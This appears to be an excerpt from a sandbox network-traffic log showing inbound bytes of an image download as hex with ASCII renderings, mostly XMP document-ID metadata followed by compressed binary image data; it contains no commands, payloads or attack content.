2022-05-13 14:42:08 UTC 8171 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 41 35 45 44 36 44 37 32 35 34 45 30 31 31 39 44 
35 33 43 41 38 30 30 34 32 33 42 36 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 39 36 42 38 34 45 31 39 35 41 30 36 45 37 31 31 39 38 38 43 44 43 43 34 45 31 45 44 38 38 44 44 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 44 45 37 44 42 46 41 31 32 32 36 38 31 31 38 32 32 
41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
39 36 45 34 34 43 33 36 45 45 34 45 45 30 31 31 39 35 46 34 42 39 35 46 33 34 39 42 33 38 42 46 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 45 37 30 46 
Data Ascii:  <rdf:li>xmp.did:96A5ED6D7254E0119D53CA800423B636</rdf:li> <rdf:li>xmp.did:96B84E195A06E
711988CDCC4E1ED88DD</rdf:li> <rdf:li>xmp.did:96DE7DBFA1226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.d
id:96E44C36EE4EE01195F4B95F349B38BF</rdf:li> <rdf:li>xmp.did:96E70F

2022-05-13 14:42:08 UTC 8179 IN Data Raw: 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 66 34 36 65 38 31 2d 31 34 63 62 2d 64 61 34 35 2d 38 35 62 31 2d 
31 34 31 64 39 39 34 39 30 37 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 
63 36 31 62 39 39 36 2d 64 65 64 31 2d 34 38 65 38 2d 38 34 32 62 2d 36 30 36 35 37 64 65 32 30 33 32 38 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 64 31 39 37 33 32 38 2d 37 62 32 63 2d 62 61 34 
31 2d 61 66 30 62 2d 33 33 35 37 37 33 66 36 31 36 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 39 64 37 65 39 39 34 61 2d 66 64 33 31 2d 34 37 35 35 2d 61 65 64 39 2d 65 38 61 34 38 61 61 38 37 
32 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: li>xmp.did:9bf46e81-14cb-da45-85b1-141d9949070e</rdf:li> <rdf:li>xmp.did:9c61b996-ded1-48e8-842b-6
0657de20328</rdf:li> <rdf:li>xmp.did:9d197328-7b2c-ba41-af0b-335773f61615</rdf:li> <rdf:li>xmp.did:9d7e994a-fd31-
4755-aed9-e8a48aa87286</rdf:li> <rdf:li>xmp.

2022-05-13 14:42:08 UTC 8195 IN Data Raw: 31 38 32 32 41 43 41 37 38 31 45 39 43 39 37 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 42 36 42 42 33 34 33 33 42 44 32 30 36 38 31 31 38 46 36 32 39 44 45 37 37 36 30 32 38 45 34 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 44 42 30 42 30 30 37 43 32 30 36 
38 31 31 39 37 41 35 46 45 43 39 37 45 32 39 33 42 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 42 36 46 38 39 44 45 44 34 37 32 30 36 38 31 31 39 31 30 39 39 34 42 39 31 30 42 41 35 37 46 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 46 42 35 34 30 38 41 44 43 33 45 30 
31 31 42 45 39 36 46 45 41 42 39 35 43 34 38 33 42 44 3c 2f 72 64 66 3a 
Data Ascii: 1822ACA781E9C9782</rdf:li> <rdf:li>xmp.did:B6BB3433BD2068118F629DE776028E4D</rdf:li> <rdf:li>xmp.d
id:B6DB0B007C20681197A5FEC97E293B54</rdf:li> <rdf:li>xmp.did:B6F89DED47206811910994B910BA57F7</rdf:li> 
<rdf:li>xmp.did:B6FB5408ADC3E011BE96FEAB95C483BD</rdf:

2022-05-13 14:42:08 UTC 8211 IN Data Raw: 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
43 45 38 37 41 46 32 43 31 37 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 38 39 41 33 44 41 30 33 42 37 45 32 31 31 39 42 42 37 
46 32 33 45 33 38 34 43 38 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 4
5 38 43 46 38 39 37 30 39 32 30 36 38 31 31 38 37 31 46 44 42 38 41 34 39 30 45 43 32 39 33 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 41 39 38 35 39 30 31 37 32 30 36 38 31 31 38 41 36 44 42 
39 31 46 45 43 35 41 35 39 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: 2DCE785405</rdf:li> <rdf:li>xmp.did:CE87AF2C172068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:CE89
A3DA03B7E2119BB7F23E384C84B5</rdf:li> <rdf:li>xmp.did:CE8CF89709206811871FDB8A490EC293</rdf:li> <rdf
:li>xmp.did:CEA98590172068118A6DB91FEC5A59F5</rdf:li> <rd

2022-05-13 14:42:08 UTC 8219 IN Data Raw: 42 43 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 34 41 31 42 
44 31 39 34 32 31 36 38 31 31 38 46 36 32 44 46 42 31 37 36 46 32 41 31 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 34 46 30 41 38 39 32 43 32 30 36 38 31 31 39 32 42 30 41 36 36 41 37 30 
46 46 44 31 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 35 34 33 34 41 3
0 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 44 37 35 41 44 37 46 34 31 34 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 31 30 32 
44 37 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
Data Ascii: BCA3</rdf:li> <rdf:li>xmp.did:D74A1BD1942168118F62DFB176F2A179</rdf:li> <rdf:li>xmp.did:D74F0A892C
20681192B0A66A70FFD169</rdf:li> <rdf:li>xmp.did:D75434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xm
p.did:D75AD7F4142068118083F9D3D102D7DD</rdf:li> <rdf:li>x

2022-05-13 14:42:08 UTC 8235 IN Data Raw: 64 3a 45 46 32 39 38 36 43 35 44 34 43 43 44 46 31 31 39 31 33 37 46 42 33 41 33 43 38 42 43 44 33 35 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 46 33 31 39 45 34 32 46 30 32 31 36 38 31 
31 39 41 39 36 46 38 30 45 39 31 37 35 45 31 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 45 46 33 32 43 42 34 44 31 30 32 31 36 38 31 31 38 46 36 32 39 36 30 32 38 31 37 35 39 43 35 36 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 46 38 46 43 34 30 46 44 39 37 39 45 31 31 31 
42 46 36 35 38 34 34 46 32 37 33 37 44 43 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 45 46 39 33 46 37 38 46 44 39 32 31 36 38 31 31 39 43 32 46 44 
Data Ascii: d:EF2986C5D4CCDF119137FB3A3C8BCD35</rdf:li> <rdf:li>xmp.did:EF319E42F02168119A96F80E9175
E1EE</rdf:li> <rdf:li>xmp.did:EF32CB4D102168118F62960281759C56</rdf:li> <rdf:li>xmp.did:EF8FC40FD979
E111BF65844F2737DCBB</rdf:li> <rdf:li>xmp.did:EF93F78FD92168119C2FD

2022-05-13 14:42:08 UTC 8251 IN Data Raw: 33 42 37 32 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 46 41 
35 36 36 37 33 41 39 44 45 30 31 31 41 35 34 30 44 38 34 42 33 37 36 30 32 41 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 46 44 30 36 42 33 33 45 37 32 31 31 45 37 42 42 31 44 43 44 34 36 
41 37 37 44 45 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 31 41 45 3
4 33 30 32 30 33 41 31 31 36 38 42 39 45 37 44 35 42 31 41 45 46 38 44 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 31 42 32 39 35 32 34 39 32 30 36 38 31 31 39 39 34 43 42 34 45 41 30 
36 34 37 36 37 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 3B72B8</rdf:li> <rdf:li>xmp.did:F9FA56673A9DE011A540D84B37602AD2</rdf:li> <rdf:li>xmp.did:F9FD06B3
3E7211E7BB1DCD46A77DE239</rdf:li> <rdf:li>xmp.did:FA1AE430203A1168B9E7D5B1AEF8D29B</rdf:li> <rdf:li>
xmp.did:FA1B295249206811994CB4EA06476727</rdf:li> <rdf:li
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2022-05-13 14:42:08 UTC 8254 IN Data Raw: 44 42 35 32 41 44 31 30 32 41 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 36 39 39 44 31 38 30 46 31 30 43 31 31 45 41 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 38 43 31 31 31 41 33 36 32 30 36 38 31 31 42 38 
34 30 42 41 43 42 43 37 36 38 42 43 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 46 42 39 39 38 43 42 32 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 42 38 33 33 34 34 33 33 32 30 36 38 31 31 39 31 30 39 
38 32 36 31 33 44 30 44 38 34 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: DB52AD102A03</rdf:li> <rdf:li>xmp.did:FB7F117407206811B699D180F10C11EA</rdf:li> <rdf:li>xmp.did:FB
8C111A36206811B840BACBC768BC26</rdf:li> <rdf:li>xmp.did:FB998CB20720681192B0E90D048EA72C</rdf:li> <r
df:li>xmp.did:FBB8334433206811910982613D0D8437</rdf:li> <

2022-05-13 14:42:08 UTC 8270 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 63 63 65 38 32 38 31 2d 38 66 30 32 2d 34 32 64 39 2d 39 63 34 32 
2d 64 37 37 63 33 38 61 39 66 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
62 63 66 37 61 38 38 31 2d 63 63 63 62 2d 34 61 32 65 2d 38 61 64 30 2d 35 64 30 62 65 38 31 33 31 65 64 65 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 64 30 66 61 61 30 62 2d 31 35 63 65 2d 38 35 
34 35 2d 61 38 66 30 2d 39 38 33 37 38 32 32 39 65 62 62 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 62 64 33 39 39 36 62 39 2d 36 66 35 35 2d 66 34 34 30 2d 38 38 31 62 2d 65 36 62 35 61 61 61 63 
63 64 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: :li>xmp.did:bcce8281-8f02-42d9-9c42-d77c38a9f7ae</rdf:li> <rdf:li>xmp.did:bcf7a881-cccb-4a2e-8ad0-
5d0be8131ede</rdf:li> <rdf:li>xmp.did:bd0faa0b-15ce-8545-a8f0-98378229ebb8</rdf:li> <rdf:li>xmp.did:bd3996b9-6f55-
f440-881b-e6b5aaaccd7f</rdf:li> <rdf:li>xmp

2022-05-13 14:42:08 UTC 8286 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 31 30 66 35 64 66 31 2d 32 62 31 64 2d 34 31 63 66 2d 38 62 35 
31 2d 35 30 33 39 35 31 66 37 33 38 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 66 31 32 32 63 37 34 35 2d 65 63 30 33 2d 34 31 66 38 2d 38 37 39 65 2d 31 31 34 62 35 36 37 39 30 30 38 30 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 31 34 36 38 35 65 66 2d 33 39 35 36 2d 34 
31 32 62 2d 62 62 30 63 2d 34 39 36 34 63 30 66 32 34 38 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 66 32 30 61 31 35 66 37 2d 36 61 32 63 2d 34 35 35 31 2d 38 37 65 63 2d 33 36 64 61 33 31 36 
35 36 34 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: f:li>xmp.did:f10f5df1-2b1d-41cf-8b51-503951f73831</rdf:li> <rdf:li>xmp.did:f122c745-ec03-41f8-879e-
114b56790080</rdf:li> <rdf:li>xmp.did:f14685ef-3956-412b-bb0c-4964c0f24807</rdf:li> <rdf:li>xmp.did:f20a15f7-6a2c-
4551-87ec-36da3165647f</rdf:li> <rdf:li>xm

2022-05-13 14:42:08 UTC 8294 IN Data Raw: b0 26 1a a4 0e de 81 9e 0d 40 13 0d 7a 06 73 7d e9 01 22 da 54 81 cd d4 0c ee ed 3c 68 03 9b e8 09 3b be 
81 9d dd 40 8f 6e a0 72 78 35 a8 14 9d 2e 68 19 1d d4 01 12 d6 a0 93 a1 af 40 e4 f3 3d a8 06 0c c9 7a 70 21 69 b2 42 e8 
3a d5 24 48 28 f2 98 75 aa 68 24 ec b3 ee a4 90 ca fc 89 cf 7d 68 91 0d 88 cb 2f 79 ab 48 96 c5 24 92 f5 44 8b b3 eb 56 
49 c2 d7 a4 00 8b 50 22 06 f4 c0 86 bd b4 01 e0 b4 c0 ee d2 29 01 20 68 03 d6 fb 68 03 84 50 04 0d 00 47 b7 4a 60 76 
d7 a0 67 3c 29 88 e1 14 01 cb 50 04 95 6f 40 13 11 9a 00 f7 a6 45 00 48 2d 29 19 30 2d 40 07 88 5e 93 01 95 51 52 30 8
b 1d 21 84 51 63 48 03 46 b7 34 14 37 14 62 a5 94 36 91 5e a6 46 48 c4 45 20 82 51 c7 40 c6 d1 34 a4 07 76 da 80 38 
56 80 20 41 06 f4 01 35 3d b4 c0 28 62 68 02 3b a8 11 ed d4 c0 ed fb 
Data Ascii: &@zs}"T<h;@nrx5.h@=zp!iB:$H(uh$}h/yH$DVIP") hhPGJ`vg<)Po@EH-)0-@^QR0!QcHF47b6^FHE Q@4v8V 
A5=(bh;

2022-05-13 14:42:08 UTC 8310 IN Data Raw: 71 67 8d cb 1b d8 b6 95 cb 6d 27 5d 37 97 58 bc e1 8e c2 f5 c5 6d 12 77 57 e4 17 10 7b 92 da 57 25 be 31 d8 
be 41 6d 8d ee 10 7b 6f 5c 96 f8 e7 4a dc 5a 43 c9 09 75 bd 72 db 5c 1b ab 48 e2 e4 82 2b 17 53 44 c2 09 01 ac e0 a3 c1 
b5 a0 67 43 8e b4 01 07 20 d0 02 ae 2b 44 4b 15 7a d1 12 01 aa 84 08 d3 11 12 4d 31 32 05 a9 88 8e fa a1 1d df 4c 09 
06 a4 32 5b a8 11 20 74 a4 04 4a 5e 98 1c f4 85 39 14 10 68 07 68 a7 d8 50 70 63 81 d2 9f 61 75 09 fa 71 6b da 97 61 c1 
cf d3 06 a2 42 02 26 0f 6d 2e c3 81 b8 31 ca 1f 0a cd b1 a4 5a c3 1a 91 7b 6b 5c ed 9a 9c 9e 10 46 83 5a 69 88 a4 cd c3 
de 2e 45 75 56 e6 56 a9 9c cb c1 56 36 23 51 5d d4 bc 1c 96 a4 88 49 8c 54 ed 23 4a dd 5c c1 d0 1a f1 2c e4 9b e9 f0 a6 
f7 a4 4f b3 23 51 f0 63 76 a2 b1 7f 24 d9 7c 72 d2 3e 32 15 
Data Ascii: qgm']7XmwW{W%1Am{o\JZCur\H+SDgC +DKzM12L2[ tJ^9hhPpcauqkaB&m.1Z{k\FZi.EuVVV6#Q]IT#J\,O#Q
cv$|r>2

2022-05-13 14:42:08 UTC 8326 IN Data Raw: 0c 68 b8 f2 5f 1d 40 27 53 5b 27 3c 93 05 23 e5 c8 ef b9 cd eb 54 88 19 c7 e4 04 2d 7e b5 2e b2 30 b2 e6 fa 
ed a1 a5 10 0c 80 ca 20 15 bf c2 9c 08 8c 79 5e ab 6c 7b 0f 1a 70 31 6c f8 09 25 91 75 15 a5 2d 04 5a a5 57 ad e1 5d 66 
04 95 94 f5 14 c0 98 74 a0 09 a9 4e da 40 71 91 18 f6 50 32 06 15 ec 14 c0 81 88 50 04 1a 06 1d 0d 00 40 c4 f6 b9 a0 01 
32 91 d3 ad 02 3c 03 2f 65 03 23 b0 de f6 a0 0e 79 bb 05 e8 03 db 98 9e 94 01 cf 4c 31 d4 6b dd 44 81 d5 85 87 41 44 
80 4f 4c 85 d4 51 20 47 c8 35 23 5a 00 ee e4 3f 0a 00 8c 8c 2d a5 30 00 19 ce 86 98 12 07 d4 d0 d0 01 02 84 1a f6 d2 11 
12 9e a7 4d 29 8c f3 29 51 6e b4 08 ea 06 b6 82 81 12 f4 98 8f 1a 00 f2 a1 26 c4 50 01 1b 18 5a fd b4 48 40 29 20 91 35 
03 4a 69 8c e7 a0 f6 d4 51 22 3a b1 13 f5 51 22 80 8b 07 68 
Data Ascii: h_@'S['<#T-~.0 y^l{p1l%u-ZW]ftN@qP2P@2</e#yL1kDADOLQ G5#Z?-0M))Qn&PZH@) 5JiQ":Q"h

2022-05-13 14:42:08 UTC 8334 IN Data Raw: aa 10 da 79 96 f5 91 64 5e 90 c1 ee b5 31 1c 2d 54 00 da 4b 50 29 06 cf 4e 04 40 3d e9 c0 12 df 40 1e 0f 7e 
b4 08 95 00 41 80 3d 6a 84 01 bc a6 e2 b4 4c 4c d4 70 9c 97 eb 17 d2 7f ad 47 5e fa ce ea 32 34 5b 91 6a c8 a2 06 e3 a5 
31 11 0c 7a 53 11 2b d2 19 eb d2 03 d7 a0 64 49 a6 04 6f 4c 47 8d 02 22 69 8c f6 ea 00 f6 ea 00 89 91 57 52 6d 4e 00 8b 
65 c6 9a 13 44 08 8f eb 01 3a 0d 29 c0 09 e6 e4 cc ba a0 d3 be aa a8 4c a0 cb ce 76 6b 3f 51 5b a4 44 8b fe b0 8e da 1a 
09 3c 33 d7 b6 a1 d4 a9 25 fa b0 45 2e a3 91 59 e7 dd d6 b4 48 86 ca f9 1e dd 0d 6c 8c d9 00 e6 f7 a6 22 2d 90 dd 28 80 
92 02 73 7d 69 c0 a4 31 9b 4d 29 40 e4 ef ad 44 0e 4e 7a da d1 01 27 4c c6 94 04 9c fd 41 a2 02 49 2e 60 03 ad 4f 51 c9 
e3 94 09 bd e8 81 f6 17 c8 cb 0b f4 d5 2a 92 d8 b1 cc d6 
Data Ascii: yd^1-TKP)N@=@~A=jLLpG^24[j1zS+dIoLG"iWRmNeD:)Lvk?Q[D<3%E.YHl"-(s}i1M)@DNz'LAI.`OQ*

2022-05-13 14:42:08 UTC 8350 IN Data Raw: 62 4d aa e0 0d 4f b6 30 bf 54 ce ae c5 41 1a 0b 57 36 c7 06 b4 52 6e f1 20 18 91 08 97 b2 b8 9b 93 70 e1 cd 
48 ce 17 a0 0f 5f 5b 50 01 01 a4 33 8c 4d 00 0d 98 01 73 4c 42 92 e4 aa f4 04 8f 85 6a 90 a4 82 ce 1b a5 38 09 38 ec 18 
5a 80 29 f2 02 16 f2 83 6a dd 19 b1 3c ac 6d 9e 60 7a f6 1a b4 c9 62 6d 1b 55 08 10 36 3a 9b da 98 88 bb 76 83 44 04 9d 
5c 80 be 53 d2 9f 51 49 35 3d a0 d2 19 25 98 8a 20 24 22 65 f7 52 81 c8 e4 39 b2 47 ac 6e 45 4c 0e 49 c9 ca cf 20 b3 9b 
8f 0a 6a 88 1d 85 cc e6 d7 15 50 4c 80 7c ab f5 ab 48 52 05 9d 64 d1 4d 8d 51 20 5a 00 c2 e6 9c 8a 04 65 4f 36 dd 34 ad 
51 9b 06 d2 14 16 3a da 9c 13 21 a2 cb 3a 5f a5 4b a9 6a c5 82 48 19 41 1a d6 50 6b 21 06 86 f5 23 0d b8 1f 8d 48 1f ff 
d3 fb 00 8e f5 ed c9 c2 4d 56 d5 20 10 0a 45 04 02 91 41 
Data Ascii: bMO0TAW6Rn pH_[P3MsLBj88Z)j<m`zbmU6:vD\SQI5=% $"eR9GnELI jPL|HRdMQ ZeO64Q:!:_K
jHAPk!#HMV EA

2022-05-13 14:42:08 UTC 8366 IN Data Raw: a5 8d 85 c5 31 15 b2 cb e6 d3 a5 31 00 fd 47 a4 6e 4d 30 1e 4c d8 e5 1a f9 4f 8f 6d 48 ce bc 60 8b d1 20 00 
63 92 6e 69 c8 a0 ec b8 fb 56 e0 d1 20 50 f2 00 eb 7a d5 12 cc de 60 27 5b 56 c8 86 54 4d 18 61 6a d9 32 19 57 26 35 
9b cb 5b a6 64 d1 3c 59 ce 1c cb 23 0b ed ec a6 f2 0b 05 cc 3c de f9 02 ba f5 ee 35 93 a1 7d 89 72 b3 63 cd 09 46 70 1b 
a8 b5 14 4e 42 c6 64 35 b4 ae 83 22 5b a9 01 31 e1 48 09 06 34 01 e6 5b eb 7a 06 16 23 61 6b d4 b2 90 da 31 5d 6f 59 
b2 82 7e a0 21 bf 65 44 0e 46 a1 ce de 40 1d 2a 1d 4b 4c d7 f1 13 99 a3 04 0d 2b 95 9a a2 e0 03 6a cc 64 59 47 6d 00 2
d 2c 7a 5c 74 a0 05 a4 04 0d 69 80 06 6b 55 08 5e 46 b5 52 00 25 a8 00 7b ae 69 01 26 16 14 e0 04 da ef 25 80 aa 24 3c 
64 83 63 d2 82 86 0a 1b 50 00 19 0d ed 40 88 b4 56 14 08 56 41 ad 
Data Ascii: 11GnM0LOmH` cniV Pz`'[VTMaj2W&5[d<Y#<5}rcFpNBd5"[1H4[z#ak1]oY~!eDF@*KL+jdYGm-,z\tikU^FR%
{i&%$<dcP@VVA

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:08 UTC 8374 IN Data Raw: f3 33 f6 56 97 d9 da a9 f9 04 b2 4f 8c cc e6 fd b1 14 32 71 79 9c 7c 78 ae c2 68 13 3b 6e e9 58 81 60 f7 53 b0 
85 6f 28 72 ab f9 5a b4 ad 1d 78 6b f5 14 97 bc ae 47 31 c7 72 78 7c 97 b9 b8 ac 2e 43 29 a5 41 13 e2 cf bb d5 0a 0e d4 
78 57 f3 5f 72 ee 41 d3 5a 36 4a 69 b4 ac 09 8c fb 43 fb b3 07 b1 a6 c9 c2 e5 b0 a7 c6 93 5d a1 dd fc a4 9b 80 d0 31 54 
50 07 e2 40 bd f4 b5 ed e9 8b 28 1b 53 c0 fe 02 f2 5e e5 ce e4 3d d3 cb 60 ce 98 0b 82 fe 84 73 30 05 89 07 63 a8 7d aa 
de 5b ed bf 6f 5a e9 ac b7 2c 87 8c 19 bf ed ff 00 ba 57 8f e2 73 b9 80 77 f3 72 b8 5d d2 c8 c8 89 d2 ce 6c 16 2d bb 49 1a 
1d cb f9 4a d4 eb b6 1b f2 0c fa af f6 e3 dd 19 5e e0 c6 95 32 dd 67 9a 25 56 9a 65 70 c9 bd fe 88 d3 6f e5 8c 06 7b eb b9 
b5 ae ad 6f b1 2f 06 d0 b2 9a da 08 93 9b c0 a2 
Data Ascii: 3VO2qy|xh;nX`So(rZxkG1rx|.C)AxW_rAZ6JiC]1TP@(S^=`s0c}[oZ,Wswr]l-IJ^2g%Vepo{o/

2022-05-13 14:42:08 UTC 8390 IN Data Raw: 08 b1 e9 5f 58 cf 1e 09 ba c7 12 97 90 80 a2 da 9e 9a e9 52 dc 02 52 7f ff d4 fa d3 c8 bd 5b a5 7b f0 79 d2 58 
71 3c c2 e0 b6 db e9 5c fb 35 f6 35 a5 e0 de 71 5c d2 e4 a5 d1 85 c7 5a f3 2f 48 3a d3 92 da 2e 47 d5 d0 9a c5 a2 c4 b2 
b2 09 73 63 a5 34 84 39 80 02 81 25 f5 a9 63 45 89 ce 16 20 8d 6a 60 65 7e 74 e9 22 6b a5 5a 42 66 65 83 4c e4 2f 4a 
d8 82 58 f0 b9 b1 1d 28 90 09 91 fd 2d 45 89 a6 80 59 d9 e4 d7 c2 a9 08 ad 9f 6c 5d 75 26 b5 44 32 ab 27 3f 63 0e e0 6b 
65 53 36 c5 e7 e5 95 ac 17 4f dd 54 a8 2e c5 7c fc 9a b1 36 3a f4 bd 6a a8 43 b9 5c fc 8c ba 8b d6 bd 11 9f 63 4d ec 1e 
1d b9 8c 93 33 b6 d8 d4 90 42 f5 bd 71 7c 9b f5 c1 d1 aa b3 93 ea 99 1c 26 34 38 e4 05 d7 bc eb 5e 5f 63 b2 03 70 1c 5c 
3c 6c 25 95 40 dc 77 12 05 4b 72 34 8b 29 b9 0c 58 b1 06 
Data Ascii: _XRR[{yXq<\55q\Z/H:.Gsc49%cE j`e~t"kZBfeL/JX(-EYl]u&D2'?ckeS6OT.|6:jC\cM3Bq|&48^_cp\<l%@wKr4)X

2022-05-13 14:42:08 UTC 8406 IN Data Raw: 7c e2 f2 0a 31 30 d7 d4 89 1d 81 50 36 b1 0c 3f 09 5d 76 ff 00 a6 b5 5f 1d d7 2c 95 79 34 fe d1 c5 97 17 2f 23 
23 3a 35 55 9b 0a 58 d4 c9 d7 73 01 b1 4a 93 d0 db f0 d6 77 d9 58 84 6b 5c 72 1d f1 33 32 15 a5 cd 60 ae be 45 da 6e 
de 0a 8b e0 3b 76 d7 1c 7a 10 d9 41 9d 0e 36 66 38 01 a5 59 95 f6 fa 8c c1 85 85 ee 1f b3 5b 75 f0 b5 75 6b 7d 7c 10 67 
bd c1 14 df aa 0d 94 16 57 d8 02 5c 10 0a df b8 74 15 d5 a9 42 c1 2d 1c 8f 0a 18 a4 86 55 55 11 c2 03 36 cd 59 7c 00 ea 
cd d9 af 96 ab b7 a9 26 bf da 7c d4 10 3a cd 8e 27 84 43 2c 73 08 d4 2f f5 0a 30 36 90 9d 5f f8 87 d2 07 d2 b5 cf b2 fd 4a 
44 fd c8 9c 76 3f 2e e9 81 23 45 1b 48 59 61 dc 42 b2 b8 0e b6 24 6f 09 e6 b5 b6 eb 45 f5 35 91 b8 30 dc ae 74 bc 66 42 
ac 72 c6 19 7c fa a1 55 b8 37 1b 15 be a1 dd 6a 9a 68 
Data Ascii: |10P6?]v_,y4/##:5UXsJwXk\r32`En;vzA6f8Y[uuk}|gW\tB-UU6Y|&|:'C,s/06_JDv?.#EHYaB$oE50tfBr|U7jh

2022-05-13 14:42:08 UTC 8413 IN Data Raw: 08 bf 65 be da f2 6f d9 dd f5 01 ff 00 ff 00 51 e7 c0 21 f5 c0 80 2b 43 1b 10 37 59 87 63 68 34 6e fa 29 7d b4 
73 1f 70 c1 55 2f 01 8f 83 0a 63 71 52 46 c0 ed 69 15 98 f9 a4 1f 88 b5 b5 f8 0a e8 5f 29 b7 f9 a6 09 19 5c be 47 92 83 1b 
